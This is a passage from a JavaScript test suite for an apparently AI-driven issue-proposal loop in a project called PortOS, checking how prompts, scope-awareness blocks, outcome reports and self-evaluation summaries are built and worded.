    // Only 1 recent run — below EFFECTIVE_RATE_MIN_WINDOW_SAMPLES (5) — so one noisy
    // recent failure must NOT flip a lifetime-reliable scope to avoid; lifetime (95%)
    // governs → PREFER, matching the scheduler's own effective-rate floor.
    const out = computeScopeAwareness({ metricsByType: {
      'plan-task': { lifetimeSuccessRate: 95, lifetimeCompleted: 40, recentSuccessRate: 0, recentCompleted: 1 }
    } });
    expect(out).toContain('HIGH-COMPLETION');
    expect(out).toContain('plan-task: 95% completed over 40 runs'); // lifetime rate AND lifetime count
    expect(out).not.toContain('LOW-COMPLETION');
  });

  it('falls back to the lifetime rate when the recency window is empty', () => {
    // recentCompleted 0 / recentSuccessRate null → lifetime rate governs.
    const out = computeScopeAwareness({ metricsByType: {
      'plan-task': { lifetimeSuccessRate: 100, lifetimeCompleted: 10, recentSuccessRate: null, recentCompleted: 0 }
    } });
    expect(out).toContain('HIGH-COMPLETION');
    expect(out).toContain('plan-task: 100% completed over 10 runs');
  });

  it('sorts AVOID worst-first and PREFER best-first', () => {
    const out = computeScopeAwareness({ metricsByType: {
      'branch-reconcile': { lifetimeSuccessRate: 20, lifetimeCompleted: 5 },
      'accessibility': { lifetimeSuccessRate: 0, lifetimeCompleted: 4 },
      'test-coverage': { lifetimeSuccessRate: 80, lifetimeCompleted: 5 },
      'performance': { lifetimeSuccessRate: 100, lifetimeCompleted: 3 }
    } });
    // worst avoid (accessibility 0%) precedes the milder one (branch-reconcile 20%)
    expect(out.indexOf('accessibility')).toBeLessThan(out.indexOf('branch-reconcile'));
    // best prefer (performance 100%) precedes the milder one (test-coverage 80%)
    expect(out.indexOf('performance')).toBeLessThan(out.indexOf('test-coverage'));
    // AVOID section precedes PREFER section
    expect(out.indexOf('LOW-COMPLETION')).toBeLessThan(out.indexOf('HIGH-COMPLETION'));
  });

  it('truncates a pathologically long task-type name (#2760 codex P2)', () => {
    const longType = 'self-improve:mission-' + 'x'.repeat(200);
    const out = computeScopeAwareness({ metricsByType: {
      [longType]: { lifetimeSuccessRate: 0, lifetimeCompleted: 5 }
    } });
    expect(out).toContain('LOW-COMPLETION');
    expect(out).not.toContain(longType); // full 200-char name never rendered verbatim
    expect(out).toContain('…');           // truncation marker present
  });

  it('honors the exported thresholds at their exact boundaries', () => {
    // exactly PREFER threshold → prefer; exactly AVOID threshold → neither (< is strict)
    const atPrefer = computeScopeAwareness({ metricsByType: {
      x: { lifetimeSuccessRate: SCOPE_PREFER_SUCCESS_THRESHOLD, lifetimeCompleted: SCOPE_AWARENESS_MIN_SAMPLE }
    } });
    expect(atPrefer).toContain('HIGH-COMPLETION');
    const atAvoidBoundary = computeScopeAwareness({ metricsByType: {
      x: { lifetimeSuccessRate: SCOPE_AVOID_SUCCESS_THRESHOLD, lifetimeCompleted: SCOPE_AWARENESS_MIN_SAMPLE }
    } });
    expect(atAvoidBoundary).toBe(''); // 50% is not < 50 and not >= 75
  });
});

describe('buildPrompt', () => {
  const app = { name: 'TestApp' };

  it('drops a blank cosMetrics document instead of rendering an empty block (#3085)', () => {
    // renderCosMetricsSource returns '' when it has neither task types nor delivery
    // data, and the hook assigns that straight onto sources — so the omission this
    // relies on happens HERE. A rendered `### cosMetrics` with nothing under it would
    // cost prompt budget and tell the reasoner nothing.
    const base = { app, config: { allowedScopes: ['app-improvement'], rules: '' } };
    expect(buildPrompt({ ...base, sources: { cosMetrics: '' } })).not.toContain('### cosMetrics');
    expect(buildPrompt({ ...base, sources: { cosMetrics: '{"delivery":{"totalApproved":3}}' } }))
      .toContain('### cosMetrics');
  });

  it('renders PortOS product metrics as a dedicated engagement signal', () => {
    const prompt = buildPrompt({
      app,
      isPortos: true,
      config: { allowedScopes: ['app-improvement'], rules: '' },
      sources: { productMetrics: '{"post":{"completedToday":false},"creativeCommissions":{"unreviewedRenders":2}}' },
    });
    expect(prompt).toContain('### productMetrics');
    expect(prompt).toContain('inactive daily POST');
    expect(prompt.match(/### productMetrics/g)).toHaveLength(1);
  });

  it('does not treat an omitted feature as an inactive improvement target', () => {
    const prompt = buildPrompt({
      app,
      isPortos: true,
      config: { allowedScopes: ['app-improvement'], rules: '' },
      sources: { productMetrics: '{"creativeCommissions":{"unreviewedRenders":2}}' },
    });

    expect(prompt).toContain('An omitted feature is not an inactive feature');
    expect(prompt).not.toContain('"post"');
  });

  it('injects the scope-awareness block only when present, under its own heading (#2760)', () => {
    const base = { app, isPortos: true, config: { allowedScopes: ['loop-meta'], rules: '' } };
    const without = buildPrompt(base);
    // Heading form: the always-on liPlaybook block legitimately references the block
    // id in prose, so assert the block itself (its `### ` heading) is absent, not the
    // bare token.
    expect(without).not.toContain('### liScopeAwareness');
    const withGuidance = buildPrompt({
      ...base,
      sources: { scopeGuidance: 'LOW-COMPLETION task types:\n- branch-reconcile: 0% completed over 4 runs' }
    });
    expect(withGuidance).toContain('### liScopeAwareness');
    expect(withGuidance).toContain('branch-reconcile: 0% completed over 4 runs');
    expect(withGuidance).toContain('completion rates for THIS install'); // honest framing (codex P1)
    // rendered under its dedicated heading, never as a generic "### scopeGuidance" dump
    expect(withGuidance).not.toContain('### scopeGuidance');
  });

  it('frames PortOS churn metrics as local evidence that needs a concrete fix', () => {
    const source = 'Instance-local CoS churn signals\n- self-improve:branch-reconcile: signal=short-lived-burst';
    const portos = buildPrompt({
      app,
      isPortos: true,
      config: { allowedScopes: ['loop-meta'], rules: '' },
      sources: { churnSignals: source }
    });
    expect(portos).toContain('### liChurnSignals');
    expect(portos).toContain('not an automatic filing instruction');
    expect(portos).toContain('concrete fix');
    expect(portos).not.toContain('### churnSignals');

    const managed = buildPrompt({
      app,
      isPortos: false,
      config: { allowedScopes: ['app-improvement'], rules: '' },
      sources: { churnSignals: source }
    });
    expect(managed).not.toContain('### liChurnSignals');
    expect(managed).not.toContain(source);
  });

  it('injects the per-proposal-domain execution block only when a report is passed (#2765)', () => {
    const base = { app, isPortos: true, config: { allowedScopes: ['loop-meta'], rules: '' } };
    expect(buildPrompt(base)).not.toContain('### liProposalExecution');
    const withExec = buildPrompt({
      ...base,
      proposalExecutionReport: 'HIGH-EXECUTION proposal domains — LI reliably implements its own proposals here (at or above 75%):\n- loop-meta: LI implemented 100% of its own loop-meta proposals successfully over 3 executed'
    });
    expect(withExec).toContain('### liProposalExecution');
    expect(withExec).toContain('loop-meta');
    expect(withExec).toContain('DIRECT record'); // framed as authoritative, not directional
  });

  it('injects the cross-reference block only when a report is passed (#2764 §3)', () => {
    const base = { app, isPortos: true, config: { allowedScopes: ['loop-meta'], rules: '' } };
    expect(buildPrompt(base)).not.toContain('### liCrossReference');
    const withXref = buildPrompt({
      ...base,
      crossReferenceReport: "Domains where LI PROPOSES well but EXECUTES poorly:\n- loop-meta: proposals merge at 50% (2/4) but hand-offs here fail on planning (3 of 4)"
    });
    expect(withXref).toContain('### liCrossReference');
    expect(withXref).toContain('hand-offs here fail on planning (3 of 4)');
  });

  it('suppresses the scope-awareness block on a managed (non-PortOS) app (#2760 codex P2)', () => {
    // Even if a stray scopeGuidance string reaches a managed app's sources, buildPrompt
    // must not render it — the rates are this install's own CoS history, meaningless
    // there. Defense-in-depth alongside gatherSources gating the derivation on isPortos.
    const out = buildPrompt({
      app, isPortos: false,
      config: { allowedScopes: ['app-improvement'], rules: '' },
      sources: { scopeGuidance: 'LOW-COMPLETION task types:\n- plan-task: 0% completed over 9 runs' }
    });
    expect(out).not.toContain('### liScopeAwareness');
    expect(out).not.toContain('plan-task: 0% completed over 9 runs');
  });

  it('only offers meta/self scopes on PortOS', () => {
    const nonPortos = buildPrompt({
      app, isPortos: false,
      config: { allowedScopes: ['app-improvement', 'app-data-gap', 'loop-meta'], rules: '' }
    });
    // Assert the scope is not OFFERED (absent from the allowed-scope bullet list,
    // rendered as `  - loop-meta`). The always-on liPlaybook block references loop-meta
    // by name in its prose — clearly marked "PortOS install only" — so a bare-token
    // check would spuriously fail; the offered-bullet form is the precise assertion.
    expect(nonPortos).not.toContain('  - loop-meta'); // gated out by isScopeAllowed
    expect(nonPortos).toContain('meta/self scopes are unavailable');

    const portos = buildPrompt({
      app, isPortos: true,
      config: { allowedScopes: ['app-improvement', 'loop-meta', 'portos-self'], rules: '' }
    });
    expect(portos).toContain('loop-meta');
    expect(portos).toContain('portos-self');
  });

  it('injects operator rules and open-issue slugs', () => {
    const out = buildPrompt({
      app, isPortos: false,
      config: { allowedScopes: ['app-improvement'], rules: 'prefer perf work' },
      openIssues: [{ number: 3, slug: 'existing-thing', title: 'Existing' }],
      sources: { goals: 'ship faster' }
    });
    expect(out).toContain('prefer perf work');
    expect(out).toContain('existing-thing');
    expect(out).toContain('ship faster');
    expect(out).toContain('JSON only');
    expect(out).toContain('"model": "light | medium | heavy | ultra"');
    expect(out).toContain('"effort": "low | medium | high | xhigh | max"');
    expect(out).toContain('"goodFirstIssue"');
    expect(out).toContain('"helpWanted"');
    expect(out).toContain('NOT a good first issue');
  });

  it('mentions the hand-off only when it is enabled', () => {
    const off = buildPrompt({ app, isPortos: false, config: { allowedScopes: ['app-improvement'], rules: '' } });
    expect(off).not.toContain('Hand-off:');
    const on = buildPrompt({ app, isPortos: false, config: { allowedScopes: ['app-improvement'], rules: '', handoff: { enabled: true } } });
    expect(on).toContain('Hand-off:');
    expect(on).toContain('"complexity":"trivial"');
  });

  it('injects the outcomes report + calibration guidance only when non-empty', () => {
    const base = { app, isPortos: false, config: { allowedScopes: ['app-improvement'], rules: '' } };
    const without = buildPrompt(base);
    expect(without).not.toContain('### liOutcomes');
    const withReport = buildPrompt({ ...base, outcomesReport: 'Past LI proposals (last 30 days):\n- Total filed: 3' });
    expect(withReport).toContain('### liOutcomes');
    expect(withReport).toContain('Total filed: 3');
    expect(withReport).toContain('calibrate your proposal');
  });

  it('injects the selfEval block only when non-empty (#2700)', () => {
    const base = { app, isPortos: false, config: { allowedScopes: ['app-improvement'], rules: '' } };
    expect(buildPrompt(base)).not.toContain('liSelfEval');
    expect(buildPrompt({ ...base, selfEvalReport: '   ' })).not.toContain('liSelfEval');
    const withReport = buildPrompt({ ...base, selfEvalReport: 'LI self-evaluation:\n- Reasoning confidence: low' });
    expect(withReport).toContain('### liSelfEval');
    expect(withReport).toContain('Reasoning confidence: low');
    expect(withReport).toContain('Filing nothing (proposal: null) is a legitimate');
  });

  it('injects delivery-throttle guidance under its own prompt heading (#3160)', () => {
    const base = { app, isPortos: false, config: { allowedScopes: ['app-improvement'], rules: '' } };
    expect(buildPrompt(base)).not.toContain('### liDeliveryThrottle');
    const withThrottle = buildPrompt({
      ...base,
      deliveryThrottleReport: 'LI proposal throttle: stopped — based on 0% delivery rate from 12 approved proposals. Return proposal: null.'
    });
    expect(withThrottle).toContain('### liDeliveryThrottle');
    expect(withThrottle).toContain('LI proposal throttle: stopped');
    expect(withThrottle).toContain('Return proposal: null');
  });

  it('renders selfEval and outcomes as independent blocks (either can stand alone)', () => {
    const base = { app, isPortos: false, config: { allowedScopes: ['app-improvement'], rules: '' } };
    const selfOnly = buildPrompt({ ...base, selfEvalReport: 'self-eval body' });
    expect(selfOnly).toContain('### liSelfEval');
    expect(selfOnly).not.toContain('### liOutcomes');
    const both = buildPrompt({ ...base, outcomesReport: 'outcomes body', selfEvalReport: 'self-eval body' });
    expect(both).toContain('### liOutcomes');
    expect(both).toContain('### liSelfEval');
  });

  it('frames the mission around the app\'s own goals and performance', () => {
    const out = buildPrompt({ app, isPortos: false, config: { allowedScopes: ['app-improvement'], rules: '' } });
    expect(out).toContain('its OWN goals');
  });

  it('uses read-only app context to distinguish healthy metrics from a visibility gap', () => {
    const out = buildPrompt({
      app,
      isPortos: false,
      config: { allowedScopes: ['app-improvement', 'app-data-gap'], rules: '' },
      sources: { appMetrics: 'Activation: unavailable' }
    });
    expect(out).toContain('inspect this repository READ-ONLY');
    expect(out).toContain('Do not edit files');
    expect(out).toContain('SPECIFIC visibility gap');
    expect(out).toContain('never file a generic "add more telemetry" issue');
    expect(out).toContain('Inconclusive metrics alone are not evidence that the app is healthy');
    expect(out).toContain('AT MOST ONE decision-complete tracker issue');
  });

  it('always injects the static proposal playbook block (#2763)', () => {
    // Unlike the data-driven blocks, the playbook is a-priori guidance that must be
    // present from run one — even with no sources, outcomes, or self-eval data.
    const bare = buildPrompt({ app, isPortos: true, config: { allowedScopes: ['loop-meta'], rules: '' } });
    expect(bare).toContain('### liPlaybook');
    expect(bare).toContain('# LI Proposal Playbook');
    // The five deliverables the issue calls for are all present in the rendered block.
    expect(bare).toContain('Scope Selection Guide');
    expect(bare).toContain('Success Pattern Catalog');
    expect(bare).toContain('Rejection Pattern Catalog');
    expect(bare).toContain('Task Type Selection Rules');
    expect(bare).toContain('Goal Alignment Check');
    // NOT_PLANNED = roadmap conflict is the headline rejection heuristic.
    expect(bare).toContain('NOT_PLANNED');
    expect(bare).toContain('Future-triggered refactor');
    expect(bare).toContain('third consumer appears');
    expect(bare).toContain('return `proposal: null`');
    // Rendered under its dedicated heading, never dumped as a generic source block.
    expect(bare).toContain('apply it as a hard constraint');
  });

  it('renders the playbook on managed (non-PortOS) apps too — the general rules are universal', () => {
    const managed = buildPrompt({ app, isPortos: false, config: { allowedScopes: ['app-improvement'], rules: '' } });
    expect(managed).toContain('### liPlaybook');
    expect(managed).toContain('Goal Alignment Check');
  });

  it('nudges a managed app with no own-performance metrics toward a METRICS.md data gap', () => {
    // No appMetrics source gathered → guidance to add a METRICS.md.
    const missing = buildPrompt({ app, isPortos: false, config: { allowedScopes: ['app-data-gap'], rules: '' } });
    expect(missing).toContain('METRICS.md');
    // Present appMetrics → no add-a-METRICS.md nudge.
    const present = buildPrompt({
      app, isPortos: false, config: { allowedScopes: ['app-data-gap'], rules: '' },
      sources: { appMetrics: 'Weekly active users: up' }
    });
    expect(present).not.toContain('no METRICS.md');
  });

  it('does not nudge to add a METRICS.md when the appMetrics source is deliberately off', () => {
    // Source disabled → the file may exist but wasn't gathered; nudging to "add"
    // one would be misleading. No nudge despite empty gathered sources.
    const out = buildPrompt({
      app, isPortos: false,
      config: { allowedScopes: ['app-data-gap'], rules: '', sources: { appMetrics: false } }
    });
    expect(out).not.toContain('no METRICS.md');
  });

  it('does not nudge PortOS toward a METRICS.md (it measures itself via cosMetrics)', () => {
    const out = buildPrompt({ app, isPortos: true, config: { allowedScopes: ['portos-self'], rules: '' } });
    expect(out).not.toContain('no METRICS.md');
  });
});

describe('deriveOutcome', () => {
  it('leaves an open issue unresolved', () => {
    expect(deriveOutcome({ state: 'open' })).toBeNull();
    expect(deriveOutcome({ state: 'OPEN', stateReason: 'reopened' })).toBeNull();
    expect(deriveOutcome({})).toBeNull();
  });

  it('maps closed-not-planned to rejected', () => {
    expect(deriveOutcome({ state: 'closed', stateReason: 'not_planned' })).toBe('rejected');
    expect(deriveOutcome({ state: 'closed', stateReason: 'not planned' })).toBe('rejected');
  });

  it('maps closed-completed (and reason-less closes from glab/jira/plan) to merged', () => {
    expect(deriveOutcome({ state: 'closed', stateReason: 'completed' })).toBe('merged');
    // Graceful fallback: trackers that report no stateReason keep the current
    // merged behavior — their common close path IS a merge (#2620).
    expect(deriveOutcome({ state: 'closed' })).toBe('merged');
    expect(deriveOutcome({ state: 'closed', stateReason: null })).toBe('merged');
    expect(deriveOutcome({ state: 'closed', stateReason: '' })).toBe('merged');
  });

  it('maps a close with any OTHER present reason to abandoned (#2620)', () => {
    expect(deriveOutcome({ state: 'closed', stateReason: 'duplicate' })).toBe('abandoned');
    expect(deriveOutcome({ state: 'closed', stateReason: 'stale' })).toBe('abandoned');
    expect(deriveOutcome({ state: 'closed', stateReason: 'reopened' })).toBe('abandoned');
  });
});

describe('computeOutcomesReport', () => {
  it('returns empty string when there is no filed history', () => {
    expect(computeOutcomesReport({ outcomes: [] })).toBe('');
    expect(computeOutcomesReport({})).toBe('');
  });

  it('summarizes totals, per-scope merge rates, and classified rejection reasons', () => {
    const outcomes = [
      { scope: 'app-data-gap', outcome: 'merged' },
      { scope: 'app-data-gap', outcome: 'merged' },
      { scope: 'app-improvement', outcome: 'rejected', rejectionReason: 'duplicate' },
      { scope: 'app-improvement', outcome: null }
    ];
    const report = computeOutcomesReport({ outcomes });
    expect(report).toContain('Total filed: 4');
    expect(report).toContain('Merged/implemented: 2 (50%)');
    expect(report).toContain('Rejected: 1 (25%)');
    expect(report).toContain('Still open: 1 (25%)');
    expect(report).toContain('app-data-gap: 2 filed, 2 merged (100%)');
    expect(report).toContain('app-improvement: 2 filed, 0 merged (0%)');
    // The taxonomy gloss (#2689), not the raw tracker string this used to echo.
    expect(report).toContain('Why non-merged proposals were closed: already tracked elsewhere (duplicate) (1)');
  });

  it('adds post-approval completion rates and filed-to-completed duration distribution (#2944)', () => {
    const report = computeOutcomesReport({
      outcomes: [
        {
          scope: 'app-improvement', outcome: 'merged', executionOutcome: 'success',
          filedAt: '2026-07-01T00:00:00.000Z', executionAt: '2026-07-01T01:00:00.000Z'
        },
        {
          scope: 'app-improvement', outcome: 'merged', executionOutcome: 'failure',
          filedAt: '2026-07-01T00:00:00.000Z', executionAt: '2026-07-01T02:00:00.000Z'
        },
        { scope: 'app-data-gap', outcome: 'merged', executionOutcome: null }
      ]
    });

    expect(report).toContain('Post-approval LI hand-off follow-through:');
    expect(report).toContain('Approved proposals: 3; 1 completed, 1 abandoned, 1 awaiting execution.');
    expect(report).toContain('Completion rate: 50% (1/2 attempted).');
    expect(report).toContain('average 1h 0m, median 1h 0m, p90 1h 0m (1 completed)');
    expect(report).toContain('app-improvement: 1 completed, 1 abandoned, 0 awaiting execution; 50% completed');
  });

  it('surfaces the execution-failure taxonomy line only when a hand-off has failed (#2764 §1)', () => {
    // A clean execution record shows no failure line…
    const clean = computeOutcomesReport({
      outcomes: [{ scope: 'loop-meta', outcome: 'merged', executionOutcome: 'success' }]
    });
    expect(clean).not.toContain("Why LI's own hand-offs failed");

    // …but a failed hand-off surfaces the classified "why".
    const withFailure = computeOutcomesReport({
      outcomes: [
        { scope: 'loop-meta', outcome: 'merged', executionOutcome: 'success' },
        { scope: 'loop-meta', outcome: null, executionOutcome: 'failure', failureCategory: 'testing' },
        { scope: 'loop-meta', outcome: null, executionOutcome: 'failure', failureCategory: 'testing' },
        { scope: 'loop-meta', outcome: null, executionOutcome: 'failure', failureCategory: 'execution' }
      ]
    });
    expect(withFailure).toContain("Why LI's own hand-offs failed when implemented:");
    expect(withFailure).toContain('regression'); // the `testing` gloss
    expect(withFailure).toContain('(2)');         // commonest diagnosis count
  });

  it('reports an undiagnosed rejection history as the data gap it is (#2689)', () => {
    const report = computeOutcomesReport({
      outcomes: [
        { scope: 'app-improvement', outcome: 'merged' },
        { scope: 'app-improvement', outcome: 'rejected', rejectionReason: 'unknown-reason' }
      ]
    });
    expect(report).toContain('Why non-merged proposals were closed: 1 of 1 closed with no recorded reason');
  });

  it('says nothing has been closed unmerged rather than implying no reasons exist (#2689)', () => {
    const report = computeOutcomesReport({ outcomes: [{ scope: 'app-improvement', outcome: 'merged' }] });
    expect(report).toContain('Why non-merged proposals were closed: nothing has been closed unmerged yet');
  });

  it('never claims nothing was closed unmerged while reporting rejections (#2689)', () => {
    // A resolved record that reconcile has not classified yet (a pre-taxonomy
    // install, or an issue that fell out of the tracker read) must not make the
    // report contradict its own "Rejected: 2" line two rows above.
    const report = computeOutcomesReport({
      outcomes: [
        { scope: 'app-improvement', outcome: 'rejected' },
        { scope: 'app-improvement', outcome: 'abandoned' }
      ]
    });
    expect(report).toContain('Rejected: 1 (50%)');
    expect(report).not.toContain('nothing has been closed unmerged yet');
    expect(report).toContain('Why non-merged proposals were closed: 2 of 2 not yet classified');
  });

  it('reports abandoned distinctly and excludes it from the merged numerator (#2620)', () => {
    const outcomes = [
      { scope: 'app-improvement', outcome: 'merged' },
      { scope: 'app-improvement', outcome: 'abandoned' },
      { scope: 'app-improvement', outcome: 'abandoned' },
      { scope: 'app-improvement', outcome: 'rejected', rejectionReason: 'duplicate' }
    ];
    const report = computeOutcomesReport({ outcomes });
    expect(report).toContain('Abandoned: 2 (50%)');
    expect(report).toContain('Merged/implemented: 1 (25%)');
    // Per-scope merge rate: abandoned counts in filed, never in merged.
    expect(report).toContain('app-improvement: 4 filed, 1 merged (25%)');
  });

  it('exposes the recognized outcome set', () => {
    expect(PROPOSAL_OUTCOMES).toEqual(['merged', 'rejected', 'abandoned']);
  });
});

describe('summarizeOutcomeStats', () => {
  it('reports a null merge rate (not 0) when nothing has resolved yet', () => {
    const stats = summarizeOutcomeStats([{ outcome: null }, { outcome: null }]);
    expect(stats.total).toBe(2);
    expect(stats.pending).toBe(2);
    expect(stats.resolved).toBe(0);
    // The sentinel that keeps "awaiting triage" from reading as "all rejected".
    expect(stats.rawMergeRate).toBeNull();
  });

  it('measures the merge rate over resolved proposals only, unrounded', () => {
    const stats = summarizeOutcomeStats([
      { outcome: 'merged' },
      { outcome: 'rejected' },
      { outcome: 'abandoned' },
      { outcome: null }
    ]);
    expect(stats.resolved).toBe(3);
    expect(stats.pending).toBe(1);
    expect(stats.rawMergeRate).toBeCloseTo(33.33, 1);
  });

  it('tolerates a non-array / junk input', () => {
    expect(summarizeOutcomeStats(null).total).toBe(0);
    expect(summarizeOutcomeStats([null, 'x', { outcome: 'merged' }]).total).toBe(1);
  });
});

describe('suppressedIssueSlug + rejectionReasonBySlug (#2689 feedback loop)', () => {
  it('recovers a normalized slug from a forge body marker, a bare plan row, or nothing', () => {
    expect(suppressedIssueSlug({ body: '<!-- lil-slug: Add-Telemetry -->' })).toBe('add-telemetry');
    expect(suppressedIssueSlug({ slug: 'Fix Thing' })).toBe('fix-thing');
    expect(suppressedIssueSlug({ title: 'no marker here' })).toBe(null);
    expect(suppressedIssueSlug({})).toBe(null);
  });

  it('indexes only resolved records diagnosed with a REAL taxonomy reason', () => {
    const map = rejectionReasonBySlug([
      { slug: 'a', outcome: 'rejected', rejectionReason: 'scope-mismatch' },
      { slug: 'b', outcome: 'abandoned', rejectionReason: 'unknown-reason' }, // sentinel: not an actionable pattern
      { slug: 'c', outcome: 'merged', rejectionReason: 'scope-mismatch' },    // merged: not a rejection
      { slug: 'd', outcome: 'rejected', rejectionReason: null },              // unclassified: nothing to say
      { slug: 'e', outcome: null, rejectionReason: 'duplicate' }              // unresolved
    ]);
    expect(map.get('a')).toBe('scope-mismatch');
    // The `unknown-reason` sentinel is deliberately excluded — it is the absence of a
    // diagnosis, not a failure pattern the reasoner can route around.
    expect(map.has('b')).toBe(false);
    expect(map.has('c')).toBe(false);
    expect(map.has('d')).toBe(false);
    expect(map.has('e')).toBe(false);
  });

  it('keeps the first diagnosed record per slug and tolerates non-array input', () => {
    const map = rejectionReasonBySlug([
      { slug: 'dup', outcome: 'rejected', rejectionReason: 'duplicate' },
      { slug: 'dup', outcome: 'rejected', rejectionReason: 'quality-issue' }
    ]);
    expect(map.get('dup')).toBe('duplicate');
    expect(rejectionReasonBySlug(null).size).toBe(0);
    expect(rejectionReasonBySlug(undefined).size).toBe(0);
  });

  it('describeSuppressedIssue appends the glossed reason only when the slug is diagnosed', () => {
    const reasons = new Map([['add-telemetry', 'scope-mismatch']]);
    expect(describeSuppressedIssue({ number: 12, title: 'Add telemetry', body: '<!-- lil-slug: add-telemetry -->' }, reasons))
      .toBe("#12 [add-telemetry] Add telemetry — previously closed: outside the app's scope");
    // Unmatched slug or no lookup → unchanged output (back-compat).
    expect(describeSuppressedIssue({ slug: 'other' }, reasons)).toBe('[other]');
    expect(describeSuppressedIssue({ slug: 'add-telemetry' })).toBe('[add-telemetry]');
  });
});

describe('computeSelfEvalSummary (#2700)', () => {
  const liMetrics = (over = {}) => ({
    read: true,
    metrics: { completed: 10, succeeded: 8, failed: 2, successRate: 80, recentOutcomes: [], ...over }
  });

  it('reports every signal as explicitly unavailable — and low confidence — with no data', () => {
    const report = computeSelfEvalSummary();
    expect(report).toContain('Reasoning confidence: low (0 of 3 self-signals available)');
    expect(report).toContain('Proposal merge rate: UNAVAILABLE');
    expect(report).toContain('Your already-filed proposals: UNKNOWN');
    expect(report).toContain('LI execution health: UNAVAILABLE');
    expect(report).toContain('GUIDANCE — low self-confidence');
    // A blind run must never be told it has a 0% rate.
    expect(report).not.toContain('(0%)');
  });

  it('distinguishes "outcomes not gathered" from "gathered, none filed"', () => {
    expect(computeSelfEvalSummary({ outcomes: null })).toContain('Proposal merge rate: UNAVAILABLE');
    expect(computeSelfEvalSummary({ outcomes: [] })).toContain('no proposals filed yet for this app');
  });

  it('does not read filed-but-unresolved proposals as a 0% merge rate', () => {
    const report = computeSelfEvalSummary({ outcomes: [{ outcome: null }, { outcome: null }] });
    expect(report).toContain('2 filed, none resolved yet — rate unknown');
    expect(report).toContain('Awaiting triage is NOT rejection');
    expect(report).not.toContain('0%');
  });

  it('reports a real merge rate with its classified rejection reasons', () => {
    const outcomes = [
      { outcome: 'merged' },
      { outcome: 'rejected', rejectionReason: 'user-rejected' },
      { outcome: 'rejected', rejectionReason: 'user-rejected' },
      { outcome: 'abandoned', rejectionReason: 'duplicate' }
    ];
    const report = computeSelfEvalSummary({ outcomes });
    expect(report).toContain('1 of 4 resolved proposals merged (25%)');
    // Tallied by taxonomy token and glossed, commonest first — and an `abandoned`
    // proposal is explained too, not just a `rejected` one (#2689).
    expect(report).toContain(
      'Why the rest were closed: the user declined it (closed as not planned) (2); already tracked elsewhere (duplicate) (1)'
    );
  });

  it('omits the rejection clause when every resolved proposal merged (#2689)', () => {
    const report = computeSelfEvalSummary({ outcomes: [{ outcome: 'merged' }, { outcome: 'merged' }] });
    expect(report).toContain('2 of 2 resolved proposals merged (100%)');
    expect(report).not.toContain('Why the rest were closed');
  });

  it('flags a below-floor sample as unreadable rather than as evidence', () => {
    const report = computeSelfEvalSummary({ outcomes: [{ outcome: 'rejected' }] });
    expect(report).toContain('too small a sample to read a rate from yet');
    // One rejection is not a merge-rate signal → confidence must not count it.
    expect(report).toContain('Reasoning confidence: low');
  });

  it('counts open and still-suppressed closed proposals so the loop does not re-file', () => {
    const now = Date.now();
    const report = computeSelfEvalSummary({
      existingIssues: [
        { slug: 'a', state: 'open' },
        { slug: 'b', state: 'open' },
        { slug: 'c', state: 'closed', closedAt: new Date(now - 5 * 24 * 60 * 60 * 1000).toISOString() },
        // Closed long ago → out of the window → re-proposable, so NOT counted.
        { slug: 'd', state: 'closed', closedAt: new Date(now - 90 * 24 * 60 * 60 * 1000).toISOString() }
      ],
      now
    });
    expect(report).toContain('2 open, plus 1 closed but still within the 30-day suppression window');
    expect(report).toContain('deterministically suppressed');
  });

  it('NAMES the closed-but-suppressed proposals, not just their count', () => {
    const now = Date.now();
    const recent = new Date(now - 5 * 24 * 60 * 60 * 1000).toISOString();
    const report = computeSelfEvalSummary({
      existingIssues: [
        { number: 12, title: 'Add telemetry', body: '<!-- lil-slug: add-telemetry -->', state: 'closed', closedAt: recent },
        // The plan filer's bare shape carries a slug and nothing else.
        { slug: 'fix-thing', state: 'closed' }
      ],
      now
    });
    // A closed issue appears nowhere else in the prompt — the reasoner can only
    // avoid re-proposing it if selfEval names its dedup key.
    expect(report).toContain('Recently closed (do NOT re-propose):');
    expect(report).toContain('#12 [add-telemetry] Add telemetry');
    expect(report).toContain('[fix-thing]');
  });

  it('annotates each named suppressed proposal with WHY it was closed (#2689 feedback loop)', () => {
    const now = Date.now();
    const recent = new Date(now - 5 * 24 * 60 * 60 * 1000).toISOString();
    const report = computeSelfEvalSummary({
      // The reconciled outcome store carries the rejection diagnosis per slug.
      outcomes: [
        { appId: 'a', slug: 'add-telemetry', outcome: 'rejected', rejectionReason: 'scope-mismatch' },
        { appId: 'a', slug: 'fix-thing', outcome: 'abandoned', rejectionReason: 'duplicate' }
      ],
      existingIssues: [
        { number: 12, title: 'Add telemetry', body: '<!-- lil-slug: add-telemetry -->', state: 'closed', closedAt: recent },
        { slug: 'fix-thing', state: 'closed' }
      ],
      now
    });
    // The reasoner sees the specific failure pattern, not merely a slug to route around.
    expect(report).toContain("#12 [add-telemetry] Add telemetry — previously closed: outside the app's scope");
    expect(report).toContain('[fix-thing] — previously closed: already tracked elsewhere (duplicate)');
  });

  it('leaves an undiagnosed suppressed proposal unannotated', () => {
    const now = Date.now();
    const recent = new Date(now - 5 * 24 * 60 * 60 * 1000).toISOString();
    const report = computeSelfEvalSummary({
      // No outcomes gathered this run — the line renders exactly as before.
      outcomes: null,
      existingIssues: [
        { number: 12, title: 'Add telemetry', body: '<!-- lil-slug: add-telemetry -->', state: 'closed', closedAt: recent }
      ],
      now
    });
    expect(report).toContain('#12 [add-telemetry] Add telemetry');
    expect(report).not.toContain('previously closed:');
  });

  it('does not annotate a proposal closed with the unknown-reason sentinel', () => {
    const now = Date.now();
    const recent = new Date(now - 5 * 24 * 60 * 60 * 1000).toISOString();
    const report = computeSelfEvalSummary({
      // Reconciled but undiagnosable: the sentinel is not an actionable failure pattern,
      // so the "do NOT re-propose" line names it without a spurious reason gloss.
      outcomes: [{ appId: 'a', slug: 'add-telemetry', outcome: 'rejected', rejectionReason: 'unknown-reason' }],
      existingIssues: [
        { number: 12, title: 'Add telemetry', body: '<!-- lil-slug: add-telemetry -->', state: 'closed', closedAt: recent }
      ],
      now
    });
    expect(report).toContain('#12 [add-telemetry] Add telemetry');
    expect(report).not.toContain('previously closed:');
  });

  it('caps the named list and counts the remainder', () => {
    const now = Date.now();
    const closedAt = new Date(now - 24 * 60 * 60 * 1000).toISOString();
    const existingIssues = Array.from({ length: SELF_EVAL_MAX_SUPPRESSED_LISTED + 3 }, (_, i) => ({
      slug: `item-${i}`, state: 'closed', closedAt
    }));
    const report = computeSelfEvalSummary({ existingIssues, now });
    expect(report).toContain('[item-0]');
    expect(report).toContain('(+3 more)');
